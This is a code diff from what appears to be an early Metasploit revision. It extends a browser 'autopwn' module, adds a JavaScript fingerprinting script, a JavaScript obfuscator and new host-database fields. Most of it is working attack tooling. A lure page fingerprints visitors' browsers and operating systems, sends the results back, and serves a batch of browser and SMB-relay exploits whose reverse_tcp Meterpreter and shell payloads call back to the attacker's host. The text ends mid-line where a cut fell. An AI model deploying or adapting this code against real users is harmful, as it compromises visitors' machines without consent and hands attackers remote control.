diff --git a/data/sql/mysql.sql b/data/sql/mysql.sql index 9558516acb..438530f221 100644 --- a/data/sql/mysql.sql +++ b/data/sql/mysql.sql @@ -6,7 +6,12 @@ address VARCHAR(16) UNIQUE, comm VARCHAR(255), name VARCHAR(255), state VARCHAR(255), -info VARCHAR(1024) +info VARCHAR(1024), +os_name VARCHAR(255), +os_flavor VARCHAR(255), +os_sp VARCHAR(255), +os_lang VARCHAR(255), +arch VARCHAR(255) ); diff --git a/data/sql/postgres.sql b/data/sql/postgres.sql index 08e174dc13..e850b53fcc 100644 --- a/data/sql/postgres.sql +++ b/data/sql/postgres.sql @@ -7,7 +7,12 @@ address VARCHAR(16) UNIQUE, comm VARCHAR(255), name VARCHAR(255), state VARCHAR(255), -info VARCHAR(1024) +info VARCHAR(1024), +os_name VARCHAR(255), +os_flavor VARCHAR(255), +os_sp VARCHAR(255), +os_lang VARCHAR(255), +arch VARCHAR(255) ); drop table services; diff --git a/data/sql/sqlite.sql b/data/sql/sqlite.sql index f877b2542a..0e30beb333 100644 --- a/data/sql/sqlite.sql +++ b/data/sql/sqlite.sql @@ -6,7 +6,12 @@ create table hosts ( 'comm' VARCHAR(255), 'name' VARCHAR(255), 'state' VARCHAR(255), -'desc' VARCHAR(1024) +'desc' VARCHAR(1024), +'os_name' VARCHAR(255), +'os_flavor' VARCHAR(255), +'os_sp' VARCHAR(255), +'os_lang' VARCHAR(255), +'arch' VARCHAR(255) ); drop table services; diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 71f8f63c4f..c2446e5308 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -8,21 +8,49 @@ module Msf module Auxiliary::Report -# -# Report host and service information -# - + + module HttpClients + IE = "MSIE" + FF = "Firefox" + SAFARI = "Safari" + OPERA = "Opera" + end + module OperatingSystems + LINUX = "Linux" + MAC_OSX = "Mac OSX" + WINDOWS = "Windows" + + UNKNOWN = "Unknown" + end + + # Shortcut method for detecting when the DB is active def db framework.db.active end + # + # Report a host's liveness and attributes such as operating system and service pack + # + # opts must contain :host, which is an IP address identifying the host + # you're reporting about + # + # See data/sql/*.sql and lib/msf/core/db.rb for more info + # def report_host(opts) return if not db addr = opts[:host] || return framework.db.report_host_state(self, addr, Msf::HostState::Alive) + + opts.delete(:host) + if (opts.length > 0) + framework.db.report_host(self, addr, opts) + end end + # + # Report detection of a service + # def report_service(opts={}) return if not db addr = opts[:host] || return diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index 6f75c3ed86..1524304b68 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -107,19 +107,50 @@ class DBManager # Reports a host as being in a given state by address. # def report_host_state(mod, addr, state, context = nil) - + # TODO: use the current thread's Comm to find the host comm = '' host = get_host(context, addr, comm) ostate = host.state - host.state + host.state = state host.save framework.events.on_db_host_state(context, host, ostate) return host end + # + # Report a host's attributes such as operating system and service pack + # + # At the time of this writing, the opts parameter can contain: + # :state -- one of the Msf::HostState constants + # :os_name -- one of the Msf::Auxiliary::Report::OperatingSystems constants + # :os_flavor -- something like "XP" or "Gentoo" + # :os_sp -- something like "SP2" + # :os_lang -- something like "English" or "French" + # :arch -- one of the ARCH_* constants + # + # See /data/sql/*.sql for more info + # + def report_host(mod, addr, opts = {}, context = nil) + + report_host_state(mod, addr, opts[:state] || Msf::HostState::Alive) + opts.delete(:state) + + host = get_host(context, addr, '') + + opts.each { |k,v| + if (host.attribute_names.include?(k.to_s)) + host[k] = v + end + } + + host.save + + return host + end + # # This method reports a host's service state. # @@ -140,7 +171,7 @@ class DBManager return port end - + # # This method iterates the hosts table calling the supplied block with the diff --git a/lib/msf/core/exploit/http.rb b/lib/msf/core/exploit/http.rb index 7602fce753..3ca7a371de 100644 --- a/lib/msf/core/exploit/http.rb +++ b/lib/msf/core/exploit/http.rb @@ -557,8 +557,12 @@ protected # # Obfuscates symbols found within a javascript string. # + # Returns an ObfuscateJS object + # def obfuscate_js(javascript, opts) - Rex::Exploitation::ObfuscateJS.obfuscate(javascript, opts) + js = Rex::Exploitation::ObfuscateJS.new(javascript, opts) + js.obfuscate + return js end # @@ -568,6 +572,163 @@ protected def heaplib(custom_js = '') Rex::Exploitation::HeapLib.new(custom_js).to_s end + + def js_base64 + js = <<-ENDJS + // Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html + // variable names changed to make obfuscation easier + var Base64 = { + // private property + _keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", + + // private method + _utf8_encode : function ( input ){ + input = input.replace(/\\r\\n/g,"\\n"); + var utftext = ""; + var input_idx; + + for (input_idx = 0; input_idx < input.length; input_idx++) { + var chr = input.charCodeAt(input_idx); + if (chr < 128) { + utftext += String.fromCharCode(chr); + } + else if((chr > 127) && (chr < 2048)) { + utftext += String.fromCharCode((chr >> 6) | 192); + utftext += String.fromCharCode((chr & 63) | 128); + } else { + utftext += String.fromCharCode((chr >> 12) | 224); + utftext += String.fromCharCode(((chr >> 6) & 63) | 128); + utftext += String.fromCharCode((chr & 63) | 128); + } + } + + return utftext; + }, + + // public method for encoding + encode : function( input ) { + var output = ""; + var chr1, chr2, chr3, enc1, enc2, enc3, enc4; + var input_idx = 0; + + input = Base64._utf8_encode(input); + + while (input_idx < input.length) { + chr1 = input.charCodeAt( input_idx++ ); + chr2 = input.charCodeAt( input_idx++ ); + chr3 = input.charCodeAt( input_idx++ ); + + enc1 = chr1 >> 2; + enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); + enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); + enc4 = chr3 & 63; + + if (isNaN(chr2)) { + enc3 = enc4 = 64; + } else if (isNaN(chr3)) { + enc4 = 64; + } + output = output + + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); + } + return output; + }, + // public method for decoding + decode : function (input) { + var output = ""; + var chr1, chr2, chr3; + var enc1, enc2, enc3, enc4; + var i = 0; + + input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); + + while (i < input.length) { + + enc1 = this._keyStr.indexOf(input.charAt(i++)); + enc2 = this._keyStr.indexOf(input.charAt(i++)); + enc3 = this._keyStr.indexOf(input.charAt(i++)); + enc4 = this._keyStr.indexOf(input.charAt(i++)); + + chr1 = (enc1 << 2) | (enc2 >> 4); + chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); + chr3 = ((enc3 & 3) << 6) | enc4; + + output = output + String.fromCharCode(chr1); + + if (enc3 != 64) { + output = output + String.fromCharCode(chr2); + } + if (enc4 != 64) { + output = output + String.fromCharCode(chr3); + } + + } + + output = Base64._utf8_decode(output); + + return output; + + }, + _utf8_decode : function (utftext) { + var string = ""; + var input_idx = 0; + var chr1 = 0; + var chr2 = 0; + var chr3 = 0; + + while ( input_idx < utftext.length ) { + + chr1 = utftext.charCodeAt(input_idx); + + if (chr1 < 128) { + string += String.fromCharCode(chr1); + input_idx++; + } + else if((chr1 > 191) && (chr1 < 224)) { + chr2 = utftext.charCodeAt(input_idx+1); + string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63)); + input_idx += 2; + } else { + chr2 = utftext.charCodeAt(input_idx+1); + chr3 = utftext.charCodeAt(input_idx+2); + string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63)); + input_idx += 3; + } + } + + return string; + } + + + }; + + ENDJS + opts = { + 'Symbols' => { + 'Variables' => [ + 'Base64', 'encoding', + 'result', '_keyStr', + 'encoded_data', + 'utftext', 'input_idx', + 'input', 'output', + 'chr', 'chr1', 'chr2', 'chr3', + 'enc1', 'enc2', 'enc3', 'enc4' + ], + 'Methods' => [ + '_utf8_encode', '_utf8_decode', + 'encode', 'decode' + ] + } + } + js = ::Rex::Exploitation::ObfuscateJS.new(js, opts) + + return js + end + + def js_os_detect + return ::Rex::Exploitation::JavascriptOSDetect.new + end # Transmits a html response to the supplied client # diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 92866503df..63a683426f 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -45,7 +45,7 @@ module Db def cmd_db_hosts(*args) framework.db.each_host do |host| - print_status("Time: #{host.created} Host: #{host.address}") + print_status("Time: #{host.created} Host: #{host.address} Status: #{host.state} OS: #{host.os_name} #{host.os_flavor}") end end diff --git a/lib/rex/exploitation/javascriptosdetect.rb b/lib/rex/exploitation/javascriptosdetect.rb new file mode 100644 index 0000000000..1812c65b81 --- /dev/null +++ b/lib/rex/exploitation/javascriptosdetect.rb @@ -0,0 +1,206 @@ + +require 'rex/text' +require 'rex/exploitation/obfuscatejs' +require 'msf/core/auxiliary' + +module Rex +module Exploitation + +class JavascriptOSDetect < ObfuscateJS + + def initialize(custom_js = '', opts = {}) + clients = ::Msf::Auxiliary::Report::HttpClients + oses = ::Msf::Auxiliary::Report::OperatingSystems + @js = custom_js + @js = <"); + document.write("navigator.appVersion = '"+navigator.appVersion+"'
"); + + // Firefox's appVersion on windows doesn't tell us the flavor, so use + // userAgent all the time. If userAgent is spoofed, appVersion will lie + // also, so we don't lose anything by doing it this way. + + if (ver.indexOf("Windows 95") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "95"; } + else if (ver.indexOf("Windows NT 4") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "NT"; } + else if (ver.indexOf("Win 9x 4.9") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "ME"; } + else if (ver.indexOf("Windows 98") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "98"; } + else if (ver.indexOf("Windows NT 5.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2000"; } + else if (ver.indexOf("Windows NT 5.1") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "XP"; } + else if (ver.indexOf("Windows NT 5.2") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "2003"; } + else if (ver.indexOf("Windows NT 6.0") != -1) { os_name = "#{oses::WINDOWS}"; os_flavor = "Vista"; } + else if (ver.indexOf("Windows") != -1) { os_name = "#{oses::WINDOWS}"; } + else if (ver.indexOf("Mac") != -1) { os_name = "#{oses::MAC_OSX}"; } + else if (ver.indexOf("Linux") != -1) { os_name = "#{oses::LINUX}"; } + + if (os_name == "#{oses::LINUX}") { + if (useragent.indexOf("Gentoo") != -1) { os_flavor = "Gentoo"; } + else if (useragent.indexOf("Ubuntu") != -1) { os_flavor = "Ubuntu"; } + else if (useragent.indexOf("Debian") != -1) { os_flavor = "Debian"; } + else if (useragent.indexOf("RHEL") != -1) { os_flavor = "RHEL"; } + else if (useragent.indexOf("CentOS") != -1) { os_flavor = "CentOS"; } + } + + if (window.getComputedStyle) { + // Then this is a gecko derivative, assume firefox since that's the + // only one we have sploits for. We may need to revisit this in the + // future. + browser_name = "#{clients::FF}"; + if (document.getElementsByClassName) { + browser_version = "3.0"; + } else if (window.Iterator) { + browser_version = "2.0"; + } else if (Array.every) { + browser_version = "1.5"; + } else { + browser_version = "1.0"; + } + } + + if (typeof ScriptEngineMajorVersion == "function") { + // then this is IE and we can detect the OS + // TODO: add detection for IE on Mac. low priority, since we don't have + // any sploits for it yet and it's a very low market share + os_name = "#{oses::WINDOWS}"; + browser_name = "#{clients::IE}"; + if (document.documentElement && typeof document.documentElement.style.maxHeight!="undefined") { + browser_version = "7.0"; + } else if (document.compatMode) { + browser_version = "6.0"; + } else if (window.createPopup) { + browser_version = "5.5"; + } else if (window.attachEvent) { + browser_version = "5.0"; + } else { + browser_version = "4.0"; + } + switch (navigator.appMinorVersion){ + case ";SP2;": + browser_version += ";SP2"; + break; + } + ver = ScriptEngineMajorVersion().toString(); + ver += ScriptEngineMinorVersion().toString(); + ver += ScriptEngineBuildVersion().toString(); + document.write("ScriptEngine: "+ver+"
"); + switch (ver){ + case "514615": + os_flavor = "2000"; + os_sp = "SP0"; + break; + case "515907": + os_flavor = "2000"; + os_sp = "SP3"; //or SP2: oCC.getComponentVersion('{22d6f312-b0f6-11d0-94ab-0080c74c7e95}', 'componentid') => 6,4,9,1109 + break; + case "518513": + os_flavor = "2000"; + os_sp = "SP4"; + break; + case "568827": + os_flavor = "2003"; + os_sp = "SP1"; + break; + case "568831": //XP SP2 -OR- 2K SP4 + if (os_flavor == "2000"){ + os_sp = "SP4"; + } + else{ + os_flavor = "XP"; + os_sp = "SP2"; + } + break; + case "568832": + os_flavor = "2003"; + os_sp = "SP2"; + break; + } + } + + if (navigator.systemLanguage) { + // ie + ver = navigator.systemLanguage; + } else if (navigator.language) { + // gecko derivatives + ver = navigator.language; + } else { + // some other browser and we don't know how to get the language, so + // just guess english + ver = "en"; + } + + document.write("language = '"+ver+"'
"); + os_lang = ver; + //switch (ver){ + // case "fr": os_lang = "French"; break; + // case "zh": os_lang = "Chinese"; break; + // case "nl": os_lang = "Dutch"; break; + // case "de": os_lang = "German"; break; + // case "it": os_lang = "Italian"; break; + // case "ja": os_lang = "Japanese"; break; + // case "ko": os_lang = "Korean"; break; + // case "pl": os_lang = "Polish"; break; + // case "pt": os_lang = "Portuguese"; break; + // case "ru": os_lang = "Russian"; break; + // case "es": os_lang = "Spanish"; break; + // case "sv": os_lang = "Swedish"; break; + // case "tr": os_lang = "Turkish"; break; + // case "uk": os_lang = "Ukrainian"; break; + // case "vi": os_lang = "Vietnamese"; break; + // default: //"en", "en-*" + // os_lang = "English"; break; + //} // switch navigator.systemLanguage + + ver = navigator.platform; + if ( ("Win32" == ver) || (ver.match(/i.86/)) ) { + arch = "#{ARCH_X86}"; + } else if (-1 != ver.indexOf('PPC')) { + arch = "#{ARCH_PPC}"; + } + + document.write("Target is: "+os_name+" "+os_flavor+" "+os_sp+" "+os_lang+" / "+browser_name+" "+browser_version +"
"); + + return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, browser_name:browser_name, browser_version:browser_version }; +} // function getVersion +ENDJS + super @js + update_opts(opts) if (opts) + update_opts({'Symbols' => { + 'Variables' => [ + 'os_name', 'os_flavor', + 'os_sp', 'os_lang', + 'arch', + 'browser_name', + 'browser_version', + 'useragent', 'ver' + ], + 'Methods' => [ 'getVersion' ] + } + }) + + #self.obfuscate + + return @js + end + +end +end + +end diff --git a/lib/rex/exploitation/obfuscatejs.rb b/lib/rex/exploitation/obfuscatejs.rb index 9252ba0faf..e06d076e37 100644 --- a/lib/rex/exploitation/obfuscatejs.rb +++ b/lib/rex/exploitation/obfuscatejs.rb @@ -5,6 +5,7 @@ module Exploitation # Obfuscates javascript in various ways # class ObfuscateJS + attr_reader :opts # # Obfuscates a javascript string. @@ -18,8 +19,8 @@ class ObfuscateJS # { # 'Variables' => [ 'var1', ... ], # 'Methods' => [ 'method1', ... ], - # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ], - # 'Namespaces' => [ 'n', ... ] + # 'Namespaces' => [ 'n', ... ], + # 'Classes' => [ { 'Namespace' => 'n', 'Class' => 'y'}, ... ] # } # # Make sure you order your methods, classes, and namespaces by most @@ -52,6 +53,11 @@ class ObfuscateJS # function oJaDYRzFOyJVQCOHk() { var cLprVG = "\x48\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64"; document.writeln(cLprVG); } # # + # String obfuscation tries to deal with escaped quotes within strings but + # won't catch things like + # "\\" + # so be careful. + # def self.obfuscate(js, opts = {}) ObfuscateJS.new(js).obfuscate(opts) end @@ -59,14 +65,50 @@ class ObfuscateJS # # Initialize an instance of the obfuscator # - def initialize(js) + def initialize(js, opts = {}) @js = js @dynsym = {} + @opts = { + 'Symbols' => { + 'Variables'=>[], + 'Methods'=>[], + 'Namespaces'=>[], + 'Classes'=>[] + }, + 'Strings'=>false + } + @done = false + update_opts(opts) if (opts.length > 0) + end + + def update_opts(opts) + if (opts.nil? or opts.length < 1) + return + end + if (@opts['Symbols'] && opts['Symbols']) + ['Variables', 'Methods', 'Namespaces', 'Classes'].each { |k| + if (@opts['Symbols'][k] && opts['Symbols'][k]) + opts['Symbols'][k].each { |s| + if (not @opts['Symbols'][k].include? s) + @opts['Symbols'][k].push(s) + end + } + elsif (opts['Symbols'][k]) + @opts['Symbols'][k] = opts['Symbols'][k] + end + } + elsif opts['Symbols'] + @opts['Symbols'] = opts['Symbols'] + end + @opts['Strings'] = opts['Strings'] || false end # # Returns the dynamic symbol associated with the supplied symbol name # + # If obfuscation has not yet been performed (i.e. obfuscate() has not been + # called), then this method simply returns its argument + # def sym(name) @dynsym[name] || name end @@ -75,16 +117,21 @@ class ObfuscateJS # Obfuscates the javascript string passed to the constructor # def obfuscate(opts = {}) + return @js if (@done) + @done = true + # Remove our comments remove_comments + + update_opts(opts) - if opts['Strings'] + #$stderr.puts @opts.inspect + if (@opts['Strings']) obfuscate_strings() - # Normal space randomization does not work for - # javascript -- despite claims that space is irrelavent, - # newlines break things. Instead, use only space (0x20) - # and tab (0x09). + # Full space randomization does not work for javascript -- despite + # claims that space is irrelavent, newlines break things. Instead, + # use only space (0x20) and tab (0x09). @js = Rex::Text.compress(@js) @js.gsub!(/\s+/) { |s| @@ -99,9 +146,9 @@ class ObfuscateJS } end # Globally replace symbols - replace_symbols(opts['Symbols']) if opts['Symbols'] + replace_symbols(@opts['Symbols']) if @opts['Symbols'] - @js + return @js end # @@ -113,6 +160,7 @@ class ObfuscateJS alias :to_str :to_s protected + attr_accessor :done # # Get rid of both single-line C++ style comments and multiline C style comments. @@ -157,9 +205,11 @@ protected # # Change each string into some javascript that will generate that string # - # This tries to deal with escaped quotes within strings but - # won't catch things like - # "\\" + # There are a couple of caveats to using string obfuscation: + # * it tries to deal with escaped quotes within strings but won't catch + # things like: "\\" + # * multiple calls to this method are very likely to result in incorrect + # code. DON'T CALL THIS METHOD MORE THAN ONCE # so be careful. # def obfuscate_strings() diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 36fc00788d..c1520fedd5 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -10,31 +10,27 @@ ## - require 'msf/core' +require 'rex/exploitation/javascriptosdetect.rb' module Msf class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary - - BROWSER_IE = "MSIE" - BROWSER_FF = "Firefox" - BROWSER_SAFARI = "Safari" - OS_LINUX = "Linux" - OS_MAC_OSX = "Mac OSX" - OS_WINDOWS = "Windows" include Exploit::Remote::HttpServer::HTML include Auxiliary::Report def initialize(info = {}) super(update_info(info, - 'Name' => 'HTTP Client fingerprinter', + 'Name' => 'HTTP Client fingerprinter and autoexploiter', 'Version' => '$Revision: $', 'Description' => %q{ Webbrowser fingerprinter and autoexploiter. }, - 'Author' => 'egypt ', + 'Author' => [ + 'egypt ', # initial concept, integration and extension of Jerome's os_detect.js + 'Jerome Athias' # advanced Windows OS detection in javascript + ], 'License' => BSD_LICENSE, 'Actions' => [ @@ -53,9 +49,10 @@ class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary @exploits = Hash.new end - def init_exploit(name) + def init_exploit(name, targ = 0) + targ ||= 0 case name - when %r#exploit/windows# + when %r{exploit/windows} payload='windows/meterpreter/reverse_tcp' else payload='generic/shell_reverse_tcp' @@ -72,11 +69,10 @@ class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary @exploits[name].exploit_simple( 'LocalInput' => self.user_input, 'LocalOutput' => self.user_output, - 'Target' => 0, + 'Target' => targ, 'Payload' => payload, 'RunAsJob' => true) - #print_status("#{name} at uri #{@exploits[name].get_resource} with payload #{payload} and lport #{@lport}") @lport += 1 end @@ -85,16 +81,27 @@ class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary @lport = datastore['LPORT'] || 4444 @lhost = datastore['LHOST'] @lport = @lport.to_i - print_status("Starting exploit modules...") + print_status("Starting exploit modules on host #{@lhost}...") ## # Start all the exploit modules ## - # TODO: add an Automatic target to this guy. + # TODO: add an Automatic target to all of the Firefox exploits + + # Firefox < 1.0.5 + # requires javascript + init_exploit('exploit/multi/browser/mozilla_compareto') + + # Firefox < 1.5.0.5 + # requires java + # requires javascript + init_exploit('exploit/multi/browser/mozilla_navigatorjava') + + # Firefox < 1.5.0.1 # For now just use the default target of Mac. # requires javascript - #init_exploit('exploit/multi/browser/firefox_queryinterface') + init_exploit('exploit/multi/browser/firefox_queryinterface') # works on iPhone # does not require javascript @@ -102,208 +109,435 @@ class Auxiliary::Server::BrowserAutoPwn < Msf::Auxiliary #init_exploit('exploit/osx/browser/software_update') #init_exploit('exploit/windows/browser/ani_loadimage_chunksize') - #init_exploit('exploit/windows/browser/apple_quicktime_rtsp') - # Works on default IE 5.5 and 6 + # does not require javascript + init_exploit('exploit/windows/browser/apple_quicktime_rtsp') + + # requires javascript + init_exploit('exploit/windows/browser/novelliprint_getdriversettings') + + # Works on default IE 5 and 6 + # I'm pretty sure keyframe works on everything this works on, but since + # this doesn't need javascript, try it anyway. # does not require javascript init_exploit('exploit/windows/browser/ms03_020_ie_objecttype') - # requires javascript - init_exploit('exploit/windows/browser/novelliprint_getdriversettings'); - - # requires javascript + # I'm pretty sure keyframe works on everything this works on and more, + # so for now leave it out. + # requires javascript #init_exploit('exploit/windows/browser/ms06_055_vml_method') - + # Works on default IE 5 and 6 # requires javascript - # requires ActiveXObject('DirectAnimation.PathControl') + # ActiveXObject('DirectAnimation.PathControl') + # classid D7A7D7C3-D47F-11D0-89D3-00A0C90833E6 init_exploit('exploit/windows/browser/ms06_067_keyframe') # only works on IE with XML Core Services # requires javascript - # requires classid 88d969c5-f192-11d4-a65f-0040963251e5 + # classid 88d969c5-f192-11d4-a65f-0040963251e5 init_exploit('exploit/windows/browser/ms06_071_xml_core') #init_exploit('exploit/windows/browser/winamp_playlist_unc') - # requires UNC path which seems to only work on IE in my tests - #init_exploit('exploit/windows/smb/smb_relay') + # requires UNC path which only seems to work on IE in my tests + smbr_mod = framework.modules.create('exploit/windows/smb/smb_relay') + + smbr_mod.datastore['LHOST'] = @lhost + smbr_mod.datastore['LPORT'] = @lport + smbr_mod.exploit_simple( + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'Target' => 0, + 'Payload' => 'windows/meterpreter/reverse_tcp', + 'RunAsJob' => true) end def on_request_uri(cli, request) print_status("Request '#{request.uri}' from #{cli.peerhost}:#{cli.peerport}") - browser_make = nil - browser_ver = nil + # Create a cached mapping between IP and detected target + @targetcache ||= {} + @targetcache[cli.peerhost] ||= {} + @targetcache[cli.peerhost][:update] = Time.now.to_i - ua = request['User-Agent'] - case (ua) - when /Firefox\/((:?[0-9]+\.)+[0-9]+)/: - ua_name = BROWSER_FF - ua_vers = $1 - when /Mozilla\/[0-9]\.[0-9] \(compatible; MSIE ([0-9]\.[0-9]+)/: - ua_name = BROWSER_IE - ua_vers = $1 - when /Version\/(\d+\.\d+\.\d+).*Safari/ - ua_name = BROWSER_SAFARI - ua_vers = $1 + # Clean the cache + rmq = [] + @targetcache.each_key do |addr| + if (Time.now.to_i > @targetcache[addr][:update]+60) + rmq.push addr + end end - case (ua) - when /Windows/: - os_name = OS_WINDOWS - when /Linux/: - os_name = OS_LINUX - when /iPhone/ - os_name = OS_MAC_OSX - os_arch = 'armle' - when /Mac OS X/ - os_name = OS_MAC_OSX - end - case (ua) - when /PPC/ - os_arch = 'ppc' - when /i.86/ - os_arch = 'x86' - end - - os_name ||= 'Unknown' - - print_status("Browser claims to be #{ua_name} #{ua_vers}, running on #{os_name}") - report_note( - :host => cli.peerhost, - :type => 'http_request', - :data => "#{os_name} #{os_arch} #{ua_name} #{ua_vers}" - ) - - response = create_response() - + + rmq.each {|addr| @targetcache.delete(addr) } + case request.uri - when datastore['URIPATH']: - # TODO: consider having a javascript timeout function that writes - # each exploit's iframe so they don't step on each other. + when %r{^#{datastore['URIPATH']}.*sessid=}: + record_detection(cli, request) + send_not_found(cli) + when %r{^#{datastore['URIPATH']}}: + # + # This is the request for exploits. At this point we should at + # least know whether javascript is enabled; if it is, we'll + # have browser name and version for IE and Firefox as well as + # OS version and Service Pack for Windows. If our javascript + # detection failed to report back, try to get the same + # information from the User-Agent string which is less reliable + # because it may have been spoofed. + # - # for smb_relay - windows_html = %Q{ -
- -
- } - #osx_html = %Q{ - #
- # '+ - #
- # } + record_detection(cli, request) + print_status("Responding with exploits") - var_onload_func = Rex::Text.rand_text_alpha(8) - objects = { - 'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource, - '{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource, - '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource, - } - hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join - hash_declaration = hash_declaration[0,hash_declaration.length-1] + response = build_sploit_response(cli, request) + response['Expires'] = '0' + response['Cache-Control'] = 'must-revalidate' - script = < /path/to/exploit/for/classid - // and - // ActiveXname => /path/to/exploit/for/ActiveXname - var object_list = new Hash(#{hash_declaration}); - - if (navigator.userAgent.indexof("MSIE") != -1) { - // iterate through our list of exploits - for (var current_item in object_list.items) { - // classids are stored surrounded in braces for an easy way to tell - // them from ActiveX object names, so if it has braces, strip them - // out and create an object element with that classid - if (current_item.substring(0,1) == '{') { - obj_element = document.createElement("object"); - obj_element.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + current_item.substring( 1, current_item.length - 1 ) ) ; - obj_element.setAttribute("id", current_item); - body_elem.appendChild(obj_element); - vuln_obj = document.getElementById(current_item); - } else { - // otherwise, try to create an AXO with that name - try { vuln_obj = new ActiveXObject(current_item); } catch(e){} - } - if (vuln_obj) { - body_elem.innerHTML += '

' + object_list.items[current_item] + '

'; - //body_elem.innerHTML += ''; - } - vuln_obj = null; - } - } -} -ENDJS - js = Rex::Exploitation::ObfuscateJS.new(script) - js.obfuscate( - 'Symbols' => { - 'Variables' => [ 'object_list', 'obj_element', 'vuln_obj', 'body_elem', 'body_id', 'current_item', 'Hash', 'items', 'BodyOnLoad' ] - } - ) - body = < -

Please wait while we connect you...

- -ENDHTML - #body << " " - - response.body = ' Loading ' - response.body << ' ' + body - - if (os_name == OS_WINDOWS) - response.body << windows_html - end - if (os_name == OS_MAC_OSX) - response.body << osx_html - end - response.body << "" - response.body = Rex::Text.randomize_space(response.body) - else - print_error("I don't know how to handle that request #{request.uri}, sending 404") - send_not_found(cli) - return false + cli.send_response(response) + else + print_error("I don't know how to handle this request #{request.uri}, sending 404") + send_not_found(cli) + return false end - response['Expires'] = '0' - response['Cache-Control'] = 'must-revalidate' - - cli.send_response(response) end def run exploit() end + def build_sploit_response(cli, request) + if (!@targetcache[cli.peerhost]) + record_detection(cli, request) + end + + response = create_response() + + # TODO: instead of writing all of the iframes at once, + # consider having a javascript timeout function that writes + # each exploit's iframe so they don't step on each other. + # I'm not sure this is really an issue since IE seems to + # just load the next iframe when the first didn't crash it. + + objects = { + '{88d969c5-f192-11d4-a65f-0040963251e5}' => @exploits['exploit/windows/browser/ms06_071_xml_core'].get_resource, + '{36723F97-7AA0-11D4-8919-FF2D71D0D32C}' => @exploits['exploit/windows/browser/novelliprint_getdriversettings'].get_resource, + 'DirectAnimation.PathControl' => @exploits['exploit/windows/browser/ms06_067_keyframe'].get_resource, + } + hash_declaration = objects.map{ |k, v| "'#{k}', '#{v}'," }.join.chop + + js = <<-ENDJS + #{js_os_detect} + #{js_base64} + + // Hash implementation stolen from http://www.mojavelinux.com/articles/javascript_hashes.html + function Hash() { + this.length = 0; + this.items = new Array(); + for (var current_item = 0; current_item < arguments.length; current_item += 2) { + if (typeof(arguments[current_item + 1]) != 'undefined') { + this.items[arguments[current_item]] = arguments[current_item + 1]; + this.length++; + } + } + } + + function send_detection_report(detected_version) { + try { xml = new XMLHttpRequest(); } + catch(e) { + try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } + catch(e) { + xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); + } + } + if (! xml) { + return(0); + } + var url = "asdf".replace("asdf", ""); + url += detected_version.os_name + "asdf"; + url += detected_version.os_flavor + "asdf"; + url += detected_version.os_sp + "asdf"; + url += detected_version.os_lang + "asdf"; + url += detected_version.arch + "asdf"; + url += detected_version.browser_name + "asdf"; + url += detected_version.browser_version; + url = url.replace(/asdf/g, ":"); + url = Base64.encode(url); + document.write(url + "
"); + xml.open("GET", document.location + "/sessid=" + url, false); + xml.send(null); + } + + function BodyOnLoad() { + var sploit_frame = ''; + var body_elem = document.getElementById('body_id'); + var detected_version = getVersion(); + + send_detection_report(detected_version); + + if ("#{HttpClients::IE}" == detected_version.browser_name) { + document.write("This is IE
"); + // object_list contains key-value pairs like + // {classid} => /path/to/exploit/for/classid + // and + // ActiveXname => /path/to/exploit/for/ActiveXname + var object_list = new Hash(#{hash_declaration}); + var vuln_obj; + + // iterate through our list of exploits + document.write("I have " + object_list.length + " objects to test
"); + for (var current_item in object_list.items) { + //document.write("Testing for object " + current_item + " ... "); + vuln_obj = undefined; + if (current_item.substring(0,1) == '{') { + // classids are stored surrounded in braces for an easy way to tell + // them from ActiveX object names, so if it has braces, strip them + // out and create an object element with that classid + var obj_elem = document.createElement("object"); + + //document.write("which is a clasid
